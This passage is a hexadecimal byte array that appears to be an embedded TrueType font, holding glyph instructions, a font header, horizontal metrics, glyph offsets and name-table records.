0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2, - 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15, - 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x8,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82, - 0x82,0x82,0x0,0x0,0x1,0x1,0xf8,0x5,0xc4,0x3,0x5d,0x6,0xcd,0x0,0x3,0x0, - 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, - 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27, - 0x3,0x21,0x3c,0xfe,0xcc,0x31,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x98,0x5, - 0xc4,0x2,0xfe,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, - 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xd4,0x1,0x2a,0x32,0xfe,0xcc,0x6, - 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x37,0x5,0xc4,0x3,0xb1,0x6,0xc7,0x0, - 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0, - 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x77,0x1, - 0x3a,0x2b,0xfe,0xf1,0xfe,0xe6,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0, - 0x1,0x1,0x54,0x5,0xe7,0x3,0xbe,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9, - 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0, - 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7, - 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x70,0x4e,0x54,0x68,0x2c,0x5e,0x54, - 0x28,0x2c,0x29,0x53,0x4b,0x63,0x29,0x5e,0x5c,0x20,0x38,0x6,0xa2,0x33,0x88,0x29, - 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x1,0x1,0x0,0x5,0xc4,0x3,0x7b,0x6, - 0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10, - 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x25,0x37,0x5,0x25,0x17,0x2, - 0x41,0xfe,0xbf,0x26,0x1,0x1b,0x1,0xf,0x2b,0x5,0xc4,0xb6,0x4d,0x7c,0x7c,0x4d, - 0x0,0xff,0xff,0x0,0x3d,0xff,0xf2,0x4,0x43,0x6,0xc7,0x0,0x36,0x0,0x17,0x0, - 0x0,0x0,0x16,0x1,0x1,0x0,0x0,0x0,0x2,0x1,0x99,0x5,0xfa,0x3,0xa5,0x6, - 0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f, - 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0, - 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, - 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15, - 0x23,0x35,0x2,0x33,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0, - 0x1,0x2,0x23,0x5,0xc4,0x3,0x88,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2, - 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13, - 0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x4c,0x3c,0xfe, - 0xcd,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0xc3,0x5,0xc4,0x3,0x29,0x6, - 0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6, - 0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30, - 0x1,0x5,0x7,0x25,0x1,0xff,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a, - 0x0,0x0,0x1,0x1,0x62,0x5,0xc4,0x3,0xdc,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5, - 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1, - 0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, - 0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0xa3,0x1,0x39,0x2b,0xfe,0xf2, - 0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x1,0x1,0xdf,0x5, - 0xc4,0x3,0x45,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, - 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x8,0x3d,0xfe,0xcc,0x32,0x6,0xcd, - 0x6f,0x9a,0x4f,0xff,0xff,0xff,0xf6,0x0,0x0,0x4,0x8b,0x6,0xcd,0x0,0x36,0x0, - 0x1d,0x0,0x0,0x0,0x16,0x1,0x7,0x0,0x0,0x0,0x2,0x1,0x3a,0x5,0xfa,0x3, - 0x46,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4, - 0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd, - 0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3, - 0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35, - 0x21,0x15,0x23,0x35,0x1,0xd4,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82, - 0x0,0x0,0x2,0x0,0x58,0xff,0xf2,0x3,0x8b,0x3,0xca,0x0,0x1c,0x0,0x27,0x0, - 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5, - 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb, - 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1, - 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12, - 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2, - 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31, - 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20, - 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22, - 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xc,0x8b,0x97,0xdc,0xef,0xa8, - 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe, - 0xe2,0xa1,0x61,0x61,0x9e,0x1,0x1c,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89, - 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xf3,0x43, - 0x6e,0x73,0x48,0xb0,0x6f,0x4d,0x0,0x0,0x2,0xff,0xf0,0x4,0x66,0x1,0x92,0x4, - 0xe8,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f, - 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0, - 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, - 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15, - 0x23,0x35,0x8a,0x9a,0x1,0xa2,0x9a,0x4,0xe8,0x82,0x82,0x82,0x82,0xff,0xff,0x0, - 0x4f,0xff,0xf2,0x3,0x7c,0x5,0x49,0x0,0x36,0x0,0x35,0x0,0x0,0x0,0x16,0x0, - 0x8f,0xe5,0x0,0xff,0xff,0xff,0xf9,0xfe,0x53,0x3,0x22,0x5,0x47,0x0,0x36,0x0, - 0x3b,0x0,0x0,0x0,0x16,0x0,0x8c,0xa9,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0, - 0x1,0x0,0x0,0xcd,0x8a,0x8e,0xe4,0x5f,0xf,0x3c,0xf5,0x0,0xb,0x8,0x0,0x0, - 0x0,0x0,0x0,0xa6,0xe8,0xcd,0xc6,0x0,0x0,0x0,0x0,0xa7,0x95,0x67,0x76,0xfe, - 0x86,0xfe,0x0,0x8,0xfb,0x6,0xef,0x0,0x0,0x0,0x9,0x0,0x2,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x6,0x66,0xfe,0x66,0x0,0x0,0x9,0x21,0xfe, - 0x86,0xfe,0x85,0x8,0xfb,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x1,0xe,0x2,0xaa,0x0,0x44,0x0,0x0,0x0,0x0,0x2, - 0xaa,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x4,0xde,0x0,0xa,0x4, - 0xf0,0x0,0x82,0x4,0xc6,0x0,0x4c,0x5,0x3a,0x0,0x82,0x3,0xfc,0x0,0x4b,0x3, - 0xe9,0x0,0x82,0x4,0xf4,0x0,0x4b,0x5,0x55,0x0,0x82,0x1,0xa1,0x0,0x82,0x4, - 0x4,0x0,0x35,0x4,0xd3,0x0,0x82,0x3,0xe1,0x0,0x82,0x6,0xdd,0x0,0x82,0x5, - 0x92,0x0,0x82,0x4,0xe8,0x0,0x2f,0x4,0xb8,0x0,0x82,0x5,0x3e,0x0,0x30,0x4, - 0xfc,0x0,0x82,0x4,0x7a,0x0,0x3d,0x4,0x1e,0x0,0x7,0x5,0x3d,0x0,0x83,0x4, - 0x93,0xff,0xf6,0x7,0xfd,0x0,0x3,0x4,0xa6,0xff,0xf6,0x4,0x80,0xff,0xf6,0x4, - 0x89,0x0,0x30,0x7,0x6e,0xff,0xf7,0x7,0xe4,0x0,0x4c,0x5,0x9,0x0,0x14,0x4, - 0xc6,0x0,0x4c,0x4,0x14,0x0,0x59,0x4,0x17,0x0,0x7b,0x3,0xe1,0x0,0x5f,0x4, - 0x15,0x0,0x61,0x4,0x5,0x0,0x5f,0x2,0x1f,0x0,0xe,0x4,0x15,0x0,0x60,0x4, - 0x1d,0x0,0x7b,0x1,0x81,0x0,0x7b,0x1,0x7d,0xff,0xf6,0x3,0x71,0x0,0x7b,0x1, - 0x82,0x0,0x7b,0x6,0x9b,0x0,0x7b,0x4,0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4, - 0x15,0x0,0x7b,0x4,0x14,0x0,0x60,0x3,0x30,0x0,0x89,0x3,0xca,0x0,0x4f,0x2, - 0x9b,0xff,0xf6,0x4,0xf,0x0,0x7b,0x3,0x38,0xff,0xf9,0x5,0x5d,0x0,0x7,0x3, - 0x3b,0xff,0xf9,0x3,0x1c,0xff,0xf9,0x3,0x3a,0x0,0x2c,0x6,0xa1,0x0,0x59,0x6, - 0xb2,0x0,0x5f,0x4,0xd,0x0,0x3b,0x4,0x31,0x0,0x82,0x1,0x81,0x0,0x7b,0x3, - 0xa7,0x0,0xe,0x3,0xa7,0x0,0xe,0x3,0xe1,0x0,0x5f,0x4,0xe9,0x0,0xd2,0x4, - 0xe8,0x0,0x6f,0x4,0xe8,0x0,0x69,0x4,0xe8,0x0,0x36,0x4,0xe8,0x0,0x85,0x4, - 0xe7,0x0,0x63,0x4,0xe8,0x0,0x62,0x4,0xe9,0x0,0x68,0x4,0xe9,0x0,0x65,0x4, - 0xe8,0x0,0x5d,0x4,0xe9,0x0,0x5f,0x4,0xe9,0x0,0x37,0x4,0xe7,0x0,0xb7,0x4, - 0xe8,0x0,0x92,0x4,0xe9,0x0,0x45,0x1,0x90,0x0,0x7b,0x1,0x90,0x0,0x7b,0x1, - 0x90,0x0,0x7b,0x4,0xc7,0x0,0x7b,0x1,0x96,0x0,0x6d,0x1,0x6d,0x0,0x44,0x1, - 0x6e,0x0,0x56,0x2,0x8d,0x0,0x62,0x2,0x8d,0x0,0x56,0x2,0x8d,0x0,0x62,0x1, - 0xeb,0x0,0xa0,0x1,0xeb,0x0,0xa2,0x4,0x28,0x0,0x6d,0x4,0x28,0x0,0x66,0x3, - 0x93,0x0,0x66,0x3,0x93,0x0,0x66,0x2,0x42,0x0,0x66,0x2,0x42,0x0,0x66,0x5, - 0x2b,0xff,0x78,0x1,0xa9,0x0,0x0,0x4,0xe8,0x0,0xe3,0x5,0x89,0x0,0x0,0x2, - 0x38,0x0,0x67,0x2,0x38,0x0,0x66,0x2,0x37,0x0,0x71,0x2,0x37,0x0,0x69,0x5, - 0x9a,0x0,0x75,0x4,0xe9,0x0,0x9a,0x4,0xe8,0x0,0xec,0x4,0xe8,0x0,0xec,0x4, - 0xe9,0x1,0x7,0x1,0x43,0x0,0x5d,0x2,0x7f,0x0,0x5d,0x5,0xa,0x0,0x52,0x4, - 0xe8,0x0,0x5e,0x2,0xed,0x0,0x5d,0x4,0xe8,0x0,0x9b,0x4,0xe8,0x0,0x9b,0x4, - 0xe8,0x0,0x9b,0x6,0x5e,0xff,0xfd,0x4,0xec,0x0,0x60,0x5,0x55,0x0,0x72,0x1, - 0x96,0x0,0x6d,0x1,0x96,0x0,0x7b,0x3,0xf,0x0,0xab,0x3,0xf,0x0,0xab,0x3, - 0x45,0x0,0x75,0x3,0x45,0x0,0x84,0x4,0xe9,0x0,0x94,0x1,0x11,0xfe,0x86,0x6, - 0x49,0x0,0x22,0x9,0x21,0x0,0x22,0x5,0x2b,0xff,0x78,0x4,0x0,0x0,0xfa,0x3, - 0xf9,0x1,0xb0,0x4,0x0,0x1,0x63,0x4,0x0,0x1,0x8b,0x4,0x0,0x1,0x1e,0x4, - 0x0,0x0,0xf9,0x4,0x0,0x0,0xf9,0x4,0x0,0x0,0xf7,0x4,0x0,0x0,0xeb,0x4, - 0x0,0x1,0x25,0x4,0x0,0x1,0x93,0x4,0x0,0x2,0x15,0x3,0xff,0x1,0x5,0x5, - 0xf7,0x0,0x44,0x5,0xf7,0x0,0x44,0x2,0x38,0x0,0x0,0x4,0x27,0x0,0x0,0x4, - 0xe1,0x0,0x0,0x3,0x78,0x0,0x0,0x5,0x55,0x0,0x0,0x2,0x6a,0x0,0x0,0x3, - 0xd8,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3, - 0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x5,0xa,0x0,0x0,0x4,0xfd,0x0,0x0,0x4, - 0x9e,0x0,0x0,0x3,0x7f,0x0,0x0,0x3,0x92,0x0,0x0,0x0,0x8c,0x0,0x0,0x4, - 0x0,0x0,0x0,0x4,0x28,0x0,0x0,0x3,0xd8,0x0,0x0,0x3,0x39,0x0,0x0,0x4, - 0xe1,0x0,0x0,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4, - 0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x3,0xfc,0x0,0x4b,0x3, - 0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x1,0xa0,0x0,0x15,0x1, - 0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1,0xa0,0xff,0xae,0x5,0x92,0x0,0x82,0x4, - 0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4, - 0xe8,0x0,0x2f,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5, - 0x3d,0x0,0x83,0x4,0x80,0xff,0xf6,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4, - 0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4, - 0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x1, - 0x81,0xff,0xf0,0x1,0x81,0x0,0x59,0x1,0x81,0xff,0xd1,0x1,0x81,0xff,0xd5,0x4, - 0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4, - 0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x4, - 0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x3,0x1c,0xff,0xf9,0x5,0x39,0x0,0x0,0x4, - 0xb8,0x0,0x82,0x4,0xc,0x0,0x60,0x4,0x15,0x0,0x7b,0x3,0x31,0x0,0x8c,0x3, - 0x3a,0x0,0x50,0x3,0x3a,0x0,0x4c,0x4,0xe8,0x0,0xc2,0x7,0x85,0x0,0x8c,0x7, - 0x84,0x0,0x8c,0x7,0x84,0x0,0x4c,0x0,0x8c,0x0,0x0,0x4,0xde,0x1,0x69,0x4, - 0xde,0x2,0xe,0x4,0xde,0x1,0x6a,0x4,0xde,0x1,0x32,0x4,0xde,0x1,0x48,0x4, - 0xde,0x1,0xd2,0x3,0xfc,0x1,0x6,0x3,0xfc,0x1,0x8f,0x3,0xfc,0x1,0x30,0x3, - 0xfc,0x0,0xce,0x1,0xa0,0x0,0x15,0x1,0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1, - 0xa0,0xff,0xae,0x5,0x92,0x1,0xa2,0x4,0xe8,0x1,0x6e,0x4,0xe8,0x1,0xf8,0x4, - 0xe8,0x1,0x98,0x4,0xe8,0x1,0x37,0x4,0xe8,0x1,0x54,0x4,0x7a,0x1,0x0,0x4, - 0x7a,0x0,0x3d,0x5,0x3e,0x1,0x99,0x5,0x3e,0x2,0x23,0x5,0x3e,0x1,0xc3,0x5, - 0x3e,0x1,0x62,0x4,0x7f,0x1,0xdf,0x4,0x80,0xff,0xf6,0x4,0x7f,0x1,0x3a,0x4, - 0x13,0x0,0x58,0x1,0x81,0xff,0xf0,0x3,0xca,0x0,0x4f,0x3,0x1c,0xff,0xf9,0x0, - 0x0,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x65,0x0,0xcc,0x1, - 0x28,0x1,0x6a,0x1,0xa7,0x1,0xdc,0x2,0x47,0x2,0x83,0x2,0xa0,0x2,0xe4,0x3, - 0x29,0x3,0x4f,0x3,0xde,0x4,0x4b,0x4,0x96,0x4,0xe2,0x5,0x41,0x5,0xa7,0x6, - 0xc,0x6,0x39,0x6,0x80,0x6,0xc0,0x7,0x50,0x7,0xb0,0x8,0x5,0x8,0x4b,0x8, - 0xac,0x9,0x34,0x9,0xb2,0xa,0x25,0xa,0x90,0xa,0xec,0xb,0x2f,0xb,0x8c,0xb, - 0xdf,0xc,0x31,0xc,0xa7,0xc,0xf6,0xd,0x26,0xd,0x76,0xd,0xbc,0xd,0xd9,0xe, - 0x47,0xe,0x92,0xe,0xcd,0xf,0x28,0xf,0x84,0xf,0xcf,0x10,0x25,0x10,0x85,0x10, - 0xce,0x11,0xf,0x11,0x8c,0x11,0xcb,0x12,0x27,0x12,0x61,0x13,0xf,0x13,0x93,0x14, - 0x8,0x14,0x80,0x14,0x9d,0x15,0x14,0x15,0x79,0x15,0xd3,0x16,0x7,0x16,0x63,0x16, - 0xde,0x17,0x31,0x17,0x99,0x18,0x10,0x18,0x40,0x18,0xba,0x19,0x2a,0x19,0x6b,0x19, - 0xf8,0x1a,0xa2,0x1b,0xa,0x1b,0x69,0x1b,0xdb,0x1b,0xf7,0x1c,0x25,0x1c,0x3f,0x1c, - 0x7d,0x1c,0xb4,0x1c,0xfd,0x1d,0x35,0x1d,0x99,0x1d,0xfd,0x1e,0x5f,0x1e,0x8d,0x1e, - 0xbc,0x1f,0x11,0x1f,0x66,0x1f,0xb3,0x20,0x0,0x20,0x35,0x20,0x6a,0x20,0x88,0x20, - 0xa3,0x20,0xbd,0x20,0xd8,0x21,0x21,0x21,0x69,0x21,0x93,0x21,0xbd,0x22,0x51,0x22, - 0xdb,0x23,0x17,0x23,0x6e,0x23,0xc1,0x23,0xdd,0x24,0xb,0x24,0xa7,0x25,0x27,0x25, - 0x5f,0x25,0x97,0x25,0xdc,0x26,0x7,0x26,0x96,0x26,0xd8,0x27,0x4f,0x27,0x86,0x27, - 0xbe,0x28,0x22,0x28,0x8a,0x29,0x4,0x29,0x55,0x29,0x9e,0x29,0xbc,0x2a,0x3c,0x2a, - 0xeb,0x2b,0x7,0x2b,0x33,0x2b,0x4d,0x2b,0x7f,0x2b,0x9e,0x2b,0xbe,0x2b,0xe3,0x2c, - 0x8,0x2c,0x2f,0x2c,0x66,0x2c,0x92,0x2c,0xb0,0x2c,0xe0,0x2c,0xfb,0x2d,0x86,0x2e, - 0x22,0x2e,0x43,0x2e,0x85,0x2e,0xb3,0x2f,0xf,0x2f,0x67,0x2f,0xbe,0x30,0x25,0x30, - 0x59,0x30,0x8b,0x30,0xd1,0x31,0x16,0x31,0x38,0x31,0x99,0x31,0xec,0x32,0x47,0x32, - 0xa4,0x32,0xcf,0x32,0xeb,0x33,0x4,0x33,0x3a,0x33,0x76,0x33,0xbd,0x34,0x1f,0x34, - 0x2a,0x34,0x35,0x34,0x40,0x34,0x4b,0x34,0x56,0x34,0x61,0x34,0x6c,0x34,0x77,0x34, - 0x82,0x34,0x8d,0x34,0x98,0x34,0xa3,0x34,0xae,0x34,0xb9,0x34,0xc4,0x34,0xcf,0x34, - 0xda,0x34,0xe5,0x34,0xf0,0x34,0xfb,0x35,0x6,0x35,0x11,0x35,0x1c,0x35,0x27,0x35, - 0x32,0x35,0x3d,0x35,0x48,0x35,0x53,0x35,0x5e,0x35,0x69,0x35,0x74,0x35,0x7f,0x35, - 0x8a,0x35,0x95,0x35,0xa0,0x35,0xab,0x35,0xb7,0x35,0xc3,0x35,0xfd,0x36,0x8,0x36, - 0x13,0x36,0x1e,0x36,0x29,0x36,0x34,0x36,0x3f,0x36,0x4a,0x36,0x55,0x36,0x60,0x36, - 0x6b,0x36,0x76,0x36,0xd6,0x37,0x27,0x37,0x91,0x37,0xeb,0x38,0x19,0x38,0x70,0x38, - 0xed,0x39,0x34,0x39,0xc6,0x3a,0x44,0x3b,0x15,0x3b,0x42,0x3b,0x6e,0x3b,0x8a,0x3b, - 0xa7,0x3b,0xcc,0x3c,0x0,0x3c,0x2d,0x3c,0x59,0x3c,0x75,0x3c,0x92,0x3c,0xb7,0x3c, - 0xe2,0x3c,0xfe,0x3d,0x1a,0x3d,0x3e,0x3d,0x72,0x3d,0x9e,0x3d,0xba,0x3d,0xd7,0x3d, - 0xfc,0x3e,0x30,0x3e,0x55,0x3e,0x60,0x3e,0x8c,0x3e,0xa8,0x3e,0xc5,0x3e,0xea,0x3f, - 0x6,0x3f,0x11,0x3f,0x3d,0x3f,0xa8,0x3f,0xd3,0x3f,0xde,0x3f,0xe9,0x0,0x0,0x0, - 0x1,0x0,0x0,0x1,0xe,0x0,0x4f,0x0,0x7,0x0,0x3a,0x0,0x4,0x0,0x2,0x0, - 0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x24,0x0,0xf0,0x0,0x2,0x0,0x1,0x0, - 0x0,0x0,0x28,0x1,0xe6,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x87,0x0, - 0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x9,0x0,0x87,0x0,0x1,0x0, - 0x0,0x0,0x0,0x0,0x2,0x0,0x7,0x0,0x90,0x0,0x1,0x0,0x0,0x0,0x0,0x0, - 0x3,0x0,0x9,0x0,0x97,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x4,0x0,0x9,0x0, - 0xa0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x5,0x0,0xc,0x0,0xa9,0x0,0x1,0x0, - 0x0,0x0,0x0,0x0,0x6,0x0,0x10,0x0,0xb5,0x0,0x1,0x0,0x0,0x0,0x0,0x0, - 0x7,0x0,0x56,0x0,0xc5,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x2,0x0,0xc,0x1, - 0x1b,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x4,0x0,0x12,0x1,0x27,0x0,0x3,0x0, - 0x1,0x4,0x7,0x0,0x2,0x0,0x10,0x1,0x39,0x0,0x3,0x0,0x1,0x4,0x7,0x0, - 0x4,0x0,0x12,0x1,0x49,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x0,0x1,0xe,0x1, - 0x5b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x1,0x0,0x12,0x2,0x69,0x0,0x3,0x0, - 0x1,0x4,0x9,0x0,0x2,0x0,0xe,0x2,0x7b,0x0,0x3,0x0,0x1,0x4,0x9,0x0, - 0x3,0x0,0x12,0x2,0x89,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x4,0x0,0x12,0x2, - 0x9b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x5,0x0,0x18,0x2,0xad,0x0,0x3,0x0, - 0x1,0x4,0x9,0x0,0x6,0x0,0x20,0x2,0xc5,0x0,0x3,0x0,0x1,0x4,0x9,0x0, - 0x7,0x0,0xac,0x2,0xe5,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x2,0x0,0xc,0x3, - 0x91,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x4,0x0,0x12,0x3,0x9d,0x0,0x3,0x0, - 0x1,0x4,0xb,0x0,0x2,0x0,0x10,0x3,0xaf,0x0,0x3,0x0,0x1,0x4,0xb,0x0, - 0x4,0x0,0x12,0x3,0xbf,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x2,0x0,0xc,0x3, - 0xd1,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x4,0x0,0x12,0x3,0xdd,0x0,0x3,0x0, - 0x1,0x4,0x10,0x0,0x2,0x0,0xe,0x3,0xef,0x0,0x3,0x0,0x1,0x4,0x10,0x0, - 0x4,0x0,0x12,0x3,0xfd,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x2,0x0,0x12,0x4, - 0xf,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x4,0x0,0x12,0x4,0x21,0x0,0x3,0x0, - 0x1,0x4,0x14,0x0,0x2,0x0,0xc,0x4,0x33,0x0,0x3,0x0,0x1,0x4,0x14,0x0, - 0x4,0x0,0x12,0x4,0x3f,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x2,0x0,0xc,0x4, - 0x51,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x4,0x0,0x12,0x4,0x5d,0x0,0x3,0x0, - 0x1,0x8,0x16,0x0,0x2,0x0,0xc,0x4,0x6f,0x0,0x3,0x0,0x1,0x8,0x16,0x0, - 